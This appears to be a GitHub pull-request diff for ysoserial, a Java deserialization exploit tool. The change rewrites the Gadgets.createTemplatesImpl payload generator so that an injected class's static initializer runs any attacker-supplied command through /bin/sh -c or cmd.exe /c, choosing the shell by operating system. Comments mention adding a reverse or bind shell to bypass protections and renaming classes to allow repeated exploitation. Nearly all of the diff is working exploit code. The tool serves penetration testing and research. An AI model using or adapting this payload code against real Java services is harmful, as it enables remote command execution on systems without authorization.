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Runtime.exec(String) upgraded to Runtime.exec(String[]) #129

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Runtime.exec(String) upgraded to Runtime.exec(String[]) #129

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30 changes: 22 additions & 8 deletions src/main/java/ysoserial/payloads/util/Gadgets.java
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Original file line number Diff line number Diff line change
Expand Up @@ -12,11 +12,6 @@
import java.util.HashMap;
import java.util.Map;

import com.nqzero.permit.Permit;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
Expand All @@ -25,6 +20,10 @@
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;


/*
* utility generator functions for common jdk-only gadgets
Expand Down Expand Up @@ -114,9 +113,24 @@ public static <T> T createTemplatesImpl ( final String command, Class<T> tplClas
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";

String cmd = " String executor = \"/bin/sh\";\n" +
" String param = \"-c\";\n" +
" if (System.getProperty(\"os.name\").toLowerCase().contains(\"win\")) {\n" +
" executor = \"cmd.exe\";\n" +
" param = \"/c\";\n" +
" }\n" +
" \n" +
" try {\n" +
" String[] args = new String[3];\n" +
" args[0] = executor;\n" +
" args[1] = param;\n" +
" args[2] = \"" + command.replaceAll("\"", "\\\\\\\"") + "\";\n" +
" java.lang.Runtime.getRuntime().exec(args);\n" +
" } catch(Exception e) {\n" +
" e.printStackTrace();\n" +
" }";

clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
Expand Down